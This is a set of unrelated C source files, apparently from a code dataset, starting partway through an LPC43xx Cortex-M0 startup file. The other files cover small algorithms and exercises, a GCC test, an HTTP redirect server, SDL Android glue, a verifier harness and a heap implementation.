#if defined (__cplusplus)
extern "C" {
#endif
//*****************************************************************************
#if defined (__USE_CMSIS) || defined (__USE_LPCOPEN)
// Declaration of external SystemInit function
extern void SystemInit(void);
#endif
//*****************************************************************************
//
// Forward declaration of the default handlers. These are aliased.
// When the application defines a handler (with the same name), this will
// automatically take precedence over these weak definitions
//
//*****************************************************************************
void ResetISR(void);
#if defined (__USE_LPCOPEN)
WEAK void NMI_Handler(void);
WEAK void HardFault_Handler(void);
WEAK void SVC_Handler(void);
WEAK void PendSV_Handler(void);
// Note - Systick Peripheral not implemented on LPC43xx M0app cpu
WEAK void IntDefaultHandler(void);
#else
WEAK void M0_NMI_Handler(void);
WEAK void M0_HardFault_Handler (void);
WEAK void M0_SVC_Handler(void);
WEAK void M0_PendSV_Handler(void);
// Note - Systick Peripheral not implemented on LPC43xx M0app cpu
WEAK void M0_IntDefaultHandler(void);
#endif
//*****************************************************************************
//
// Forward declaration of the specific IRQ handlers. These are aliased
// to the IntDefaultHandler, which is a 'forever' loop. When the application
// defines a handler (with the same name), this will automatically take
// precedence over these weak definitions
//
//*****************************************************************************
#if defined (__USE_LPCOPEN)
void RTC_IRQHandler(void) ALIAS(IntDefaultHandler);
void M4_IRQHandler(void) ALIAS(IntDefaultHandler);
void DMA_IRQHandler(void) ALIAS(IntDefaultHandler);
void FLASH_EEPROM_ATIMER_IRQHandler(void) ALIAS(IntDefaultHandler);
void ETH_IRQHandler(void) ALIAS(IntDefaultHandler);
void SDIO_IRQHandler(void) ALIAS(IntDefaultHandler);
void LCD_IRQHandler(void) ALIAS(IntDefaultHandler);
void USB0_IRQHandler(void) ALIAS(IntDefaultHandler);
void USB1_IRQHandler(void) ALIAS(IntDefaultHandler);
void SCT_IRQHandler(void) ALIAS(IntDefaultHandler);
void RIT_WDT_IRQHandler(void) ALIAS(IntDefaultHandler);
void TIMER0_IRQHandler(void) ALIAS(IntDefaultHandler);
void GINT1_IRQHandler(void) ALIAS(IntDefaultHandler);
void GPIO4_IRQHandler(void) ALIAS(IntDefaultHandler);
void TIMER3_IRQHandler(void) ALIAS(IntDefaultHandler);
void MCPWM_IRQHandler(void) ALIAS(IntDefaultHandler);
void ADC0_IRQHandler(void) ALIAS(IntDefaultHandler);
void I2C0_IRQHandler(void) ALIAS(IntDefaultHandler);
void SGPIO_IRQHandler(void) ALIAS(IntDefaultHandler);
void SPI_DAC_IRQHandler (void) ALIAS(IntDefaultHandler);
void ADC1_IRQHandler(void) ALIAS(IntDefaultHandler);
void SSP0_SSP1_IRQHandler(void) ALIAS(IntDefaultHandler);
void EVRT_IRQHandler(void) ALIAS(IntDefaultHandler);
void UART0_IRQHandler(void) ALIAS(IntDefaultHandler);
void UART1_IRQHandler(void) ALIAS(IntDefaultHandler);
void UART2_IRQHandler(void) ALIAS(IntDefaultHandler);
void UART3_IRQHandler(void) ALIAS(IntDefaultHandler);
void I2S0_I2S1_QEI_IRQHandler(void) ALIAS(IntDefaultHandler);
void CAN0_IRQHandler(void) ALIAS(IntDefaultHandler);
void SPIFI_ADCHS_IRQHandler(void) ALIAS(IntDefaultHandler);
void M0SUB_IRQHandler(void) ALIAS(IntDefaultHandler);
#else
void M0_RTC_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_M4CORE_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_DMA_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_ETH_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_SDIO_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_LCD_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_USB0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_USB1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_SCT_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_RIT_OR_WWDT_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_TIMER0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_GINT1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_TIMER3_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_MCPWM_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_ADC0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_I2C0_OR_I2C1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_SGPIO_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_SPI_OR_DAC_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_ADC1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_SSP0_OR_SSP1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_EVENTROUTER_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_USART0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_USART2_OR_C_CAN1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_USART3_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_I2S0_OR_I2S1_OR_QEI_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_C_CAN0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_SPIFI_OR_VADC_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
void M0_M0SUB_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
#endif
//*****************************************************************************
//
// The entry point for the application.
// __main() is the entry point for Redlib based applications
// main() is the entry point for Newlib based applications
//
//*****************************************************************************
#if defined (__REDLIB__)
extern void __main(void);
#endif
extern int main(void);
//*****************************************************************************
//
// External declaration for the pointer to the stack top from the Linker Script
//
//*****************************************************************************
extern void _vStackTop(void);
//*****************************************************************************
#if defined (__cplusplus)
} // extern "C"
#endif
//*****************************************************************************
//
// The vector table.
// This relies on the linker script to place at correct location in memory.
//
//*****************************************************************************
extern void (* const g_pfnVectors[])(void);
__attribute__ ((used,section(".isr_vector")))
void (* const g_pfnVectors[])(void) = {
#if defined (__USE_LPCOPEN)
// Core Level - CM0
&_vStackTop, // The initial stack pointer
ResetISR, // 1 The reset handler
NMI_Handler, // The NMI handler
HardFault_Handler, // The hard fault handler
0, // 4 Reserved
0, // 5 Reserved
0, // 6 Reserved
0, // 7 Reserved
0, // 8 Reserved
0, // 9 Reserved
0, // 10 Reserved
SVC_Handler, // SVCall handler
0, // Reserved
0, // Reserved
PendSV_Handler, // The PendSV handler
0, // Reserved - Systick not implemented...
// .. on LPC43xx M0app cpu
// Chip Level - 43xx M0 core
RTC_IRQHandler, // 16 RTC
M4_IRQHandler, // 17 CortexM4/M0 (LPC43XX ONLY)
DMA_IRQHandler, // 18 General Purpose DMA
0, // 19 Reserved
FLASH_EEPROM_ATIMER_IRQHandler, // 20 ORed flash banks A+B, EEPROM, ATIMER interrupts
ETH_IRQHandler, // 21 Ethernet
SDIO_IRQHandler, // 22 SD/MMC
LCD_IRQHandler, // 23 LCD
USB0_IRQHandler, // 24 USB0
USB1_IRQHandler, // 25 USB1
SCT_IRQHandler, // 26 State Configurable Timer
RIT_WDT_IRQHandler, // 27 ORed Repetitive Interrupt Timer, WWDT
TIMER0_IRQHandler, // 28 Timer0
GINT1_IRQHandler, // 29 GINT1
GPIO4_IRQHandler, // 30 GPIO4
TIMER3_IRQHandler, // 31 Timer 3
MCPWM_IRQHandler, // 32 Motor Control PWM
ADC0_IRQHandler, // 33 A/D Converter 0
I2C0_IRQHandler, // 34 ORed I2C0, I2C1
SGPIO_IRQHandler, // 35 SGPIO (LPC43XX ONLY)
SPI_DAC_IRQHandler, // 36 ORed SPI, DAC (LPC43XX ONLY)
ADC1_IRQHandler, // 37 A/D Converter 1
SSP0_SSP1_IRQHandler, // 38 ORed SSP0, SSP1
EVRT_IRQHandler, // 39 Event Router
UART0_IRQHandler, // 40 UART0
UART1_IRQHandler, // 41 UART1
UART2_IRQHandler, // 42 UART2
UART3_IRQHandler, // 43 USRT3
I2S0_I2S1_QEI_IRQHandler, // 44 ORed I2S0, I2S1, QEI
CAN0_IRQHandler, // 45 C_CAN0
SPIFI_ADCHS_IRQHandler, // 46 SPIFI OR ADCHS interrupt
M0SUB_IRQHandler, // 47 M0SUB core
};
#else
// Core Level - CM0
&_vStackTop, // The initial stack pointer
ResetISR, // 1 The reset handler
M0_NMI_Handler, // 2 The NMI handler
M0_HardFault_Handler, // 3 The hard fault handler
0, // 4 Reserved
0, // 5 Reserved
0, // 6 Reserved
0, // 7 Reserved
0, // 8 Reserved
0, // 9 Reserved
0, // 10 Reserved
M0_SVC_Handler, // 11 SVCall handler
0, // 12 Reserved
0, // 13 Reserved
M0_PendSV_Handler, // 14 The PendSV handler
0, // Reserved - Systick not implemented...
// .. on LPC43xx M0app cpu
// Chip Level - LPC43 (CM0 APP)
M0_RTC_IRQHandler, // 16 RTC
M0_M4CORE_IRQHandler, // 17 Interrupt from M4 Core
M0_DMA_IRQHandler, // 18 General Purpose DMA
0, // 19 Reserved
0, // 20 Reserved
M0_ETH_IRQHandler, // 21 Ethernet
M0_SDIO_IRQHandler, // 22 SD/MMC
M0_LCD_IRQHandler, // 23 LCD
M0_USB0_IRQHandler, // 24 USB0
M0_USB1_IRQHandler, // 25 USB1
M0_SCT_IRQHandler , // 26 State Configurable Timer
M0_RIT_OR_WWDT_IRQHandler, // 27 Repetitive Interrupt Timer
M0_TIMER0_IRQHandler, // 28 Timer0
M0_GINT1_IRQHandler, // 29 GINT1
M0_TIMER3_IRQHandler, // 30 Timer3
0, // 31 Reserved
0 , // 32 Reserved
M0_MCPWM_IRQHandler, // 33 Motor Control PWM
M0_ADC0_IRQHandler, // 34 ADC0
M0_I2C0_OR_I2C1_IRQHandler, // 35 I2C0 or I2C1
M0_SGPIO_IRQHandler, // 36 Serial GPIO
M0_SPI_OR_DAC_IRQHandler, // 37 SPI or DAC
M0_ADC1_IRQHandler, // 38 ADC1
M0_SSP0_OR_SSP1_IRQHandler, // 39 SSP0 or SSP1
M0_EVENTROUTER_IRQHandler, // 40 Event Router
M0_USART0_IRQHandler, // 41 USART0
M0_USART2_OR_C_CAN1_IRQHandler, // 42 USART2 or C CAN1
M0_USART3_IRQHandler, // 43 USART3
M0_I2S0_OR_I2S1_OR_QEI_IRQHandler, // 44 I2S0 or I2S1 or QEI
M0_C_CAN0_IRQHandler, // 45 C CAN0
M0_SPIFI_OR_VADC_IRQHandler, // 46
M0_M0SUB_IRQHandler, // 47 Interrupt from M0SUB
};
#endif
//*****************************************************************************
// Functions to carry out the initialization of RW and BSS data sections. These
// are written as separate functions rather than being inlined within the
// ResetISR() function in order to cope with MCUs with multiple banks of
// memory.
//*****************************************************************************
__attribute__ ((section(".after_vectors")))
void data_init(unsigned int romstart, unsigned int start, unsigned int len) {
unsigned int *pulDest = (unsigned int*) start;
unsigned int *pulSrc = (unsigned int*) romstart;
unsigned int loop;
for (loop = 0; loop < len; loop = loop + 4)
*pulDest++ = *pulSrc++;
}
__attribute__ ((section(".after_vectors")))
void bss_init(unsigned int start, unsigned int len) {
unsigned int *pulDest = (unsigned int*) start;
unsigned int loop;
for (loop = 0; loop < len; loop = loop + 4)
*pulDest++ = 0;
}
//*****************************************************************************
// The following symbols are constructs generated by the linker, indicating
// the location of various points in the "Global Section Table". This table is
// created by the linker via the Code Red managed linker script mechanism. It
// contains the load address, execution address and length of each RW data
// section and the execution and length of each BSS (zero initialized) section.
//*****************************************************************************
extern unsigned int __data_section_table;
extern unsigned int __data_section_table_end;
extern unsigned int __bss_section_table;
extern unsigned int __bss_section_table_end;
//*****************************************************************************
// Reset entry point for your code.
// Sets up a simple runtime environment and initializes the C/C++
// library.
//
//*****************************************************************************
void
ResetISR(void) {
// ******************************
// Modify CREG->M0APPMAP so that M0 looks in correct place
// for its vector table when an exception is triggered.
// Note that we do not use the CMSIS register access mechanism,
// as there is no guarantee that the project has been configured
// to use CMSIS.
unsigned int *pCREG_M0APPMAP = (unsigned int *) 0x40043404;
// CMSIS : CREG->M0APPMAP = <address of vector table>
*pCREG_M0APPMAP = (unsigned int)g_pfnVectors;
//
// Copy the data sections from flash to SRAM.
//
unsigned int LoadAddr, ExeAddr, SectionLen;
unsigned int *SectionTableAddr;
// Load base address of Global Section Table
SectionTableAddr = &__data_section_table;
// Copy the data sections from flash to SRAM.
while (SectionTableAddr < &__data_section_table_end) {
LoadAddr = *SectionTableAddr++;
ExeAddr = *SectionTableAddr++;
SectionLen = *SectionTableAddr++;
data_init(LoadAddr, ExeAddr, SectionLen);
}
// At this point, SectionTableAddr = &__bss_section_table;
// Zero fill the bss segment
while (SectionTableAddr < &__bss_section_table_end) {
ExeAddr = *SectionTableAddr++;
SectionLen = *SectionTableAddr++;
bss_init(ExeAddr, SectionLen);
}
// **********************************************************
// No need to call SystemInit() here, as master CM4 cpu will
// have done the main system set up before enabling CM0.
// **********************************************************
#if defined (__cplusplus)
//
// Call C++ library initialisation
//
__libc_init_array();
#endif
#if defined (__REDLIB__)
// Call the Redlib library, which in turn calls main()
__main() ;
#else
main();
#endif
//
// main() shouldn't return, but if it does, we'll just enter an infinite loop
//
while (1) {
;
}
}
//*****************************************************************************
// Default exception handlers. Override the ones here by defining your own
// handler routines in your application code.
//*****************************************************************************
__attribute__ ((section(".after_vectors")))
#if defined (__USE_LPCOPEN)
void NMI_Handler(void)
#else
void M0_NMI_Handler(void)
#endif
{ while(1) { }
}
__attribute__ ((section(".after_vectors")))
#if defined (__USE_LPCOPEN)
void HardFault_Handler(void)
#else
void M0_HardFault_Handler(void)
#endif
{ while(1) { }
}
__attribute__ ((section(".after_vectors")))
#if defined (__USE_LPCOPEN)
void SVC_Handler(void)
#else
void M0_SVC_Handler(void)
#endif
{ while(1) { }
}
__attribute__ ((section(".after_vectors")))
#if defined (__USE_LPCOPEN)
void PendSV_Handler(void)
#else
void M0_PendSV_Handler(void)
#endif
{ while(1) { }
}
//*****************************************************************************
//
// Processor ends up here if an unexpected interrupt occurs or a specific
// handler is not present in the application code.
//
//*****************************************************************************
__attribute__ ((section(".after_vectors")))
#if defined (__USE_LPCOPEN)
void IntDefaultHandler(void)
#else
void M0_IntDefaultHandler(void)
#endif
{ while(1) { }
}
|
the_stack_data/615496.c | #include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <string.h>
int binsearch1(int x, int v[], int n) {
int lo, mid, hi;
lo = 0;
hi = n - 1;
while (lo <= hi) {
mid = (lo + hi) / 2;
if (x < v[mid])
hi = mid - 1;
else if (x > v[mid])
lo = mid + 1;
else
return mid;
}
return -1;
}
int binsearch2(int x, int v[], int n) {
int lo, mid, hi;
lo = 0;
hi = n - 1;
mid = (lo + hi) / 2;
while (lo <= hi && x != v[mid = (lo + hi) / 2]) {
if (x < v[mid])
hi = mid - 1;
else
lo = mid + 1;
}
if (lo > hi)
return -1;
else
return mid;
}
|
the_stack_data/140766368.c | #include <stdio.h>
int hcf(int a,int b)
{
int step = 0;
char s[] = "The step no:- ";
if(b != 0)
{
printf("%s %d = %d , %d",s,step,b,a%b);
printf("\n");
step++;
return hcf(b,a%b);
}
else {
printf("\nFinal HCF(");
printf("%d)",a);
return a;
}
}
void main()
{
int a,b;
printf("Enter two integers\n ");
scanf("%d %d",&a,&b);
hcf(a,b);
return;
}
|
the_stack_data/154828261.c | /* Check that we move DFmode values via memory between FP and GP. */
/* { dg-skip-if "code quality test" { *-*-* } { "-O0" } { "" } } */
/* { dg-options "-mabi=32 -mfpxx isa=2" } */
void bar (void);
double
foo (int x, double a)
{
return a;
}
/* { dg-final { scan-assembler-not "mthc1" } } */
/* { dg-final { scan-assembler-not "mtc1" } } */
/* { dg-final { scan-assembler-times "ldc1" 1 } } */
|
the_stack_data/842316.c | #define _GNU_SOURCE // for accept4
#include <arpa/inet.h>
#include <pwd.h>
#include <signal.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#define PORT_HTTP 80
static int initSocket(const int * const sock) {
struct sockaddr_in servAddr;
bzero((char*)&servAddr, sizeof(servAddr));
servAddr.sin_family = AF_INET;
servAddr.sin_addr.s_addr = htonl(INADDR_ANY);
servAddr.sin_port = htons(PORT_HTTP);
const int ret = bind(*sock, (struct sockaddr*)&servAddr, sizeof(servAddr));
if (ret < 0) return ret;
listen(*sock, 3); // socket, backlog (# of connections to keep in queue)
return 0;
}
static int dropRoot(void) {
const struct passwd * const p = getpwnam("nobody");
if (p == NULL) return -1;
if (setgid(p->pw_gid) != 0) return -1;
if (setuid(p->pw_uid) != 0) return -1;
return 0;
}
static void setResponse(char * const response, const char * const url) {
memcpy(response,
"HTTP/1.1 301 r\r\n"
"Content-Length: 0\r\n"
"Connection: close\r\n"
"Location: https://"
, 72);
memcpy(response + 72, url, strlen(url));
memcpy(response + 72 + strlen(url), "\r\n\r\n", 4);
}
int main(int argc, char *argv[]) {
if (argc != 2) return 1;
if (signal(SIGPIPE, SIG_IGN) == SIG_ERR) return 2; // Prevent writing to closed/invalid sockets from ending the process
const int sock = socket(AF_INET, SOCK_STREAM, 0);
if (initSocket(&sock) != 0) return 3;
if (dropRoot() != 0) return 4;
const size_t lenResponse = 76 + strlen(argv[1]);
char response[lenResponse];
setResponse(response, argv[1]);
while(1) {
const int sockNew = accept4(sock, NULL, NULL, SOCK_NONBLOCK);
shutdown(sockNew, SHUT_RD);
write(sockNew, response, lenResponse);
close(sockNew);
}
return 0;
}
|
the_stack_data/62638100.c | /*
* Copyright (c) 2005-2014 Rich Felker, et al.
* Copyright (c) 2015-2016 HarveyOS et al.
*
* Use of this source code is governed by a MIT-style
* license that can be found in the LICENSE.mit file.
*/
#define _GNU_SOURCE
#include <ctype.h>
#include <string.h>
int strverscmp(const char *l0, const char *r0)
{
const unsigned char *l = (const void *)l0;
const unsigned char *r = (const void *)r0;
size_t i, dp, j;
int z = 1;
/* Find maximal matching prefix and track its maximal digit
* suffix and whether those digits are all zeros. */
for (dp=i=0; l[i]==r[i]; i++) {
int c = l[i];
if (!c) return 0;
if (!isdigit(c)) dp=i+1, z=1;
else if (c!='0') z=0;
}
if (l[dp]!='0' && r[dp]!='0') {
/* If we're not looking at a digit sequence that began
* with a zero, longest digit string is greater. */
for (j=i; isdigit(l[j]); j++)
if (!isdigit(r[j])) return 1;
if (isdigit(r[j])) return -1;
} else if (z && dp<i && (isdigit(l[i]) || isdigit(r[i]))) {
/* Otherwise, if common prefix of digit sequence is
* all zeros, digits order less than non-digits. */
return (unsigned char)(l[i]-'0') - (unsigned char)(r[i]-'0');
}
return l[i] - r[i];
}
|
the_stack_data/317198.c | #include <stdio.h>
void psfx(int bh,int eh,int n)
{
int i,j;
int len;
char buf[5],*p;
if(n<1) return;
len=(eh - bh)*60;
if(len==0) return;
for(i=0;i<n;i++) {
j=bh*60+len*i/n;
p=buf;
p+=sprintf(p,"%02d",j/60);
if((eh-bh) % n) {
sprintf(p,"%02d",j%60);
}
printf("%s ",buf);
}
putchar('\n');
}
char *logsfx(char *param)
{
int bh,eh,m,n;
int ret;
static char buf[5];
int n1,n2;
ret=sscanf(param,"%d?%d:%d",&bh,&m,&n);
if(ret<1) return "log";
else if(ret == 1 ) {
ret=sscanf(param,"%d-%d?%d:%d",&bh,&eh,&m,&n);
if(ret==2) {
m=1;
ret=5;
} else if(ret==3) ret=5;
}
switch(ret) {
case 1:
psfx(0,24,bh);
break;
case 2:
psfx(0,bh,1);
psfx(bh,24,m);
break;
case 3:
eh=24;
case 4:
n1=24-eh;
n2=n*n1/bh;
if(eh<24 && n2<1) n2=1;
n1=n-n2;
if(n1<1) n1=1;
psfx(0,bh,n1);
psfx(bh,eh,m);
psfx(eh,24,n2);
break;
case 5:
psfx(0,bh,1);
psfx(bh,eh,m);
if(eh<24) psfx(eh,24,1);
break;
}
return NULL;
}
main(int argc,char *argv[])
{
char buf[100];
printf("input: bh-eh?m:n\n");
while(fgets(buf,sizeof(buf),stdin)) {
logsfx(buf);
printf("input: bh-eh?m:n\n");
}
}
|
the_stack_data/316210.c | /* Long Night of Museums */
#include <stdio.h>
#include <stdlib.h>
#define MAXT 420
#define HEUR 5
int n;
int maxm;
int t[20];
int d[20][20];
int s[20];
int ns;
int best[20];
int nb;
char dom[20];
char finish;
int valid(int k) {
int i;
int time[20];
if (!k) return (1);
for (i = 0; i < k; i++) {
if (i == 0) time[i] = t[s[i]];
else time[i] = time[i-1] + d[s[i-1]][s[i]] + t[s[i]];
if (time[i] > MAXT) return 0;
}
if ((k > nb) || ((k == nb) && (time[k-1] < best[k-1]))){
nb = k;
for (i = 0; i < k; i++ ) best[i] = time[i];
} else
for ( i = 0; i < k; i++ )
if (time[i] > best[i] + HEUR) return 0;
return 1;
}
void backtrack(int k) {
int i;
if (valid(k)) {
if (k == maxm) { finish = 1; return; }
for (i = 0; i < n; i++) {
if (!dom[i]) {
dom[i] = 1;
s[ns++] = i;
backtrack(k+1);
if (finish) return;
ns--;
dom[i] = 0;
}
}
}
}
int main() {
int i, j;
int mind;
int total;
while (scanf("%d", &n)) {
if (!n) break;
maxm = n;
total = 0;
mind = 420;
for (i = 0; i < n; i++) {
scanf("%d", &t[i]);
dom[i] = 0;
total += t[i];
}
for (i = 0; i < n; i++)
for (j = 0; j < n; j++) {
scanf("%d", &d[i][j]);
if ((i != j) && (d[i][j] < mind))
mind = d[i][j];
}
if (total+(mind*(n-1)) > MAXT) maxm -= 1;
ns = nb = finish = 0;
backtrack(0);
printf("%d\n", nb);
}
return 0;
}
|
the_stack_data/171704.c | // TODO: remove this.
/* Copyright (C) 1998 DJ Delorie, see COPYING.DJ for details */
/*
* @implemented
*/
char *
gcvt (double value, int ndigits, char *buf)
{
char *p = buf;
sprintf (buf, "%-#.*g", ndigits, value);
/* It seems they expect us to return .XXXX instead of 0.XXXX */
if (*p == '-')
p++;
if (*p == '0' && p[1] == '.')
memmove (p, p + 1, strlen (p + 1) + 1);
/* They want Xe-YY, not X.e-YY, and XXXX instead of XXXX. */
p = strchr (buf, 'e');
if (!p)
{
p = buf + strlen (buf);
/* They don't want trailing zeroes. */
while (p[-1] == '0' && p > buf + 2)
*--p = '\0';
}
if (p > buf && p[-1] == '.')
memmove (p - 1, p, strlen (p) + 1);
return buf;
}
|
the_stack_data/242330818.c |
/*
$ dcc create_directory.c
$ ./a.out new_dir
$ ls -ld new_dir
drwxr-xr-x 2 z5555555 z5555555 60 Oct 29 16:28 new_dir
$
*/
#include <stdio.h>
#include <sys/stat.h>
// create the directories specified as command-line arguments
int main(int argc, char *argv[]) {
for (int arg = 1; arg < argc; arg++) {
if (mkdir(argv[arg], 0755) != 0) {
perror(argv[arg]); // prints why the mkdir failed
return 1;
}
}
return 0;
}
|
the_stack_data/168892171.c | /*
ANNOUNCEMENT: Up to 20% marks will be allotted for good programming practice. These include
- Comments for non trivial code
- Indentation: align your code properly
- Function use and modular programming
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Given an integer array, print the length of longest ascending (strictly increasing) subsequence.
For example, for array A = [1, -2, 3, -5, 5], the longest ascending subsequence is [1, 3, 5]. Hence, the output is:
3
Hint:
Let A[0..n-1] be the input array. Let's create another array MaxTill[0..n-1]. In this array, MaxTill[i] denotes the length of longest ascending subsequence till index i such that A[i] is an element of the longest sequence.
So, MaxTill[i] can be written as
MaxTill[i] = max(
max( 1+MaxTill(j) ) where j < i and A[j] < A[i]
1 if there is no such j
)
The length of longest ascending subsequence will be the max of all values in MaxTill[0..n-1]
Input Specification:
First line contains size N of the array.
Next line contains N space separated integers giving the contents of the array.
Output Format:
Output the length of longest ascending subsequence.
Variable Constraints:
The array size is smaller than 20.
Each array entry is an integer which fits an int data type.
Example:
Input:
5
1 -2 3 -5 5
Output:
3
*/
#include <stdio.h>
#define MAX 20
int max(int a, int b){
return a>b?a:b;
}
int main(){
int n, i, j, max_val, ans=0;
int A[MAX], MAXVAL[MAX];
scanf("%d", &n);
for(i=0; i<n; i++){
scanf("%d",&A[i]);
}
MAXVAL[0] = 1;
for(i=1; i<n; i++){
max_val=1;
for(j=0; j<i; j++){
if(A[j]<A[i]){
max_val = max(MAXVAL[j]+1, max_val);
}
}
MAXVAL[i] = max_val;
}
for(i=0; i<n; i++){
ans = max(ans, MAXVAL[i]);
}
printf("%d\n", ans);
return 0;
} |
the_stack_data/40737.c | /**
* @brief session - UI session manager
*
* Runs the user's yutanirc or starts up a panel and desktop
* if they don't have one. Generally run by glogin.
*
* @copyright
* This file is part of ToaruOS and is released under the terms
* of the NCSA / University of Illinois License - see LICENSE.md
* Copyright (C) 2018 K. Lange
*/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <sys/wait.h>
int main(int argc, char * argv[]) {
char path[1024];
char * home = getenv("HOME");
if (home) {
sprintf(path, "%s/.yutanirc", home);
char * args[] = {path, NULL};
execvp(args[0], args);
}
/* Fallback */
int _background_pid = fork();
if (!_background_pid) {
sprintf(path, "%s/Desktop", home);
chdir(path);
char * args[] = {"/bin/file-browser", "--wallpaper", NULL};
execvp(args[0], args);
}
int _panel_pid = fork();
if (!_panel_pid) {
char * args[] = {"/bin/panel", "--really", NULL};
execvp(args[0], args);
}
wait(NULL);
int pid;
do {
pid = waitpid(-1, NULL, 0);
} while ((pid > 0) || (pid == -1 && errno == EINTR));
return 0;
}
|
the_stack_data/148286.c |
int search(int arr[], int n) {
if( n > 0) {
int max = arr[0];
for(int i = 0; i < n; i++)
if(max < arr[i])
max = arr[i];
printf("In function max = %d\n", max);
return max;
}
return -1;
}
|
the_stack_data/67071.c | /*
SDL_android_main.c, placed in the public domain by Sam Lantinga 3/13/14
*/
#ifdef __ANDROID__
#include "SDL_android_main.h"
/* Include the SDL main definition header */
#include "SDL2/SDL_main.h"
JNIEnv* g_jni;
int main(int argc, char *args[]);
/*******************************************************************************
Functions called by JNI
*******************************************************************************/
#include <jni.h>
JNIEnv* getJavaNativeInterface()
{
return g_jni;
}
/* Called before SDL_main() to startLevel JNI bindings in SDL library */
extern void SDL_Android_Init(JNIEnv* env, jclass cls);
// release java audio
void releaseJavaAudio(JNIEnv* env)
{
jclass theClass = (*env)->FindClass(env,"org/libsdl/app/Audio");
jmethodID methodId = (*env)->GetStaticMethodID(env, theClass, "release", "()V");
(*env)->CallStaticVoidMethod(env, theClass, methodId);
}
/* Start up the SDL app */
JNIEXPORT int JNICALL Java_org_libsdl_app_SDLActivity_nativeInit(JNIEnv* env, jclass cls, jobject array)
{
int i;
int argc;
int status;
/* This interface could expand with ABI negotiation, callbacks, etc. */
SDL_Android_Init(env, cls);
SDL_SetMainReady();
/* store the jni */
g_jni = env;
/* Prepare the arguments. */
int len = (*env)->GetArrayLength(env, array);
char* argv[1 + len + 1];
argc = 0;
/* Use the name "app_process" so PHYSFS_platformCalcBaseDir() works.
https://bitbucket.org/MartinFelis/love-android-sdl2/issue/23/release-build-crash-on-start
*/
argv[argc++] = SDL_strdup("app_process");
for (i = 0; i < len; ++i) {
const char* utf;
char* arg = NULL;
jstring string = (*env)->GetObjectArrayElement(env, array, i);
if (string) {
utf = (*env)->GetStringUTFChars(env, string, 0);
if (utf) {
arg = SDL_strdup(utf);
(*env)->ReleaseStringUTFChars(env, string, utf);
}
(*env)->DeleteLocalRef(env, string);
}
if (!arg) {
arg = SDL_strdup("");
}
argv[argc++] = arg;
}
argv[argc] = NULL;
/* Run the application. */
status = main(argc, argv);
/* Release the arguments. */
for (i = 0; i < argc; ++i) {
SDL_free(argv[i]);
}
/* Do not issue an exit or the whole application will terminate instead of just the SDL thread */
/* Well, actually, we do it anyways, but first, we clean up the audio*/
releaseJavaAudio(env);
exit(status);
// return status;
}
#endif /* __ANDROID__ */
/* vi: set ts=4 sw=4 expandtab: */
|
the_stack_data/9513183.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
#define SIZE 100
int main( ) {
int a[SIZE];
int b[SIZE];
int i = 0;
int c [SIZE];
int rv = 1;
while ( i < SIZE ) {
if ( a[i] != b[i] ) {
rv = 0;
}
c[i] = a[i];
i = i+1;
}
int x;
if ( rv ) {
for ( x = 0 ; x < SIZE ; x++ ) {
__VERIFIER_assert( a[x] == b[x] );
}
}
for ( x = 0 ; x < SIZE ; x++ ) {
__VERIFIER_assert( a[x] == c[x] );
}
return 0;
}
|
the_stack_data/200329.c | #include <assert.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
void swap(int* a, int* b) {
int temp = *a;
*a = *b;
*b = temp;
}
typedef struct Heap {
size_t size;
size_t capacity;
int* heap;
} Heap;
Heap* Heap_create() {
Heap* heap = malloc(sizeof(*heap));
assert(heap);
heap->heap = NULL;
heap->capacity = 0;
heap->size = 0;
return heap;
}
void Heap_free(Heap** heapPtr) {
assert(heapPtr);
free((*heapPtr)->heap);
free(*heapPtr);
*heapPtr = NULL;
}
void Heap_maxHeapify(Heap* heap, size_t indexOfNodeToBeMH) {
size_t leftChildIndex = 2 * indexOfNodeToBeMH + 1;
size_t rightChildIndex = 2 * indexOfNodeToBeMH + 2;
size_t max = indexOfNodeToBeMH;
if (leftChildIndex < heap->size && heap->heap[leftChildIndex] > heap->heap[max]) {
max = leftChildIndex;
}
if (rightChildIndex < heap->size && heap->heap[rightChildIndex] > heap->heap[max]) {
max = rightChildIndex;
}
if (max != indexOfNodeToBeMH) {
swap(heap->heap + indexOfNodeToBeMH, heap->heap + max);
Heap_maxHeapify(heap, max);
}
}
void Heap_buildMaxHeap(Heap* heap) {
heap->size = heap->capacity;
// Index of last non-leaf node
int startIndex = (heap->capacity / 2) - 1;
for (int i = startIndex; i >= 0; i--) {
Heap_maxHeapify(heap, i);
}
}
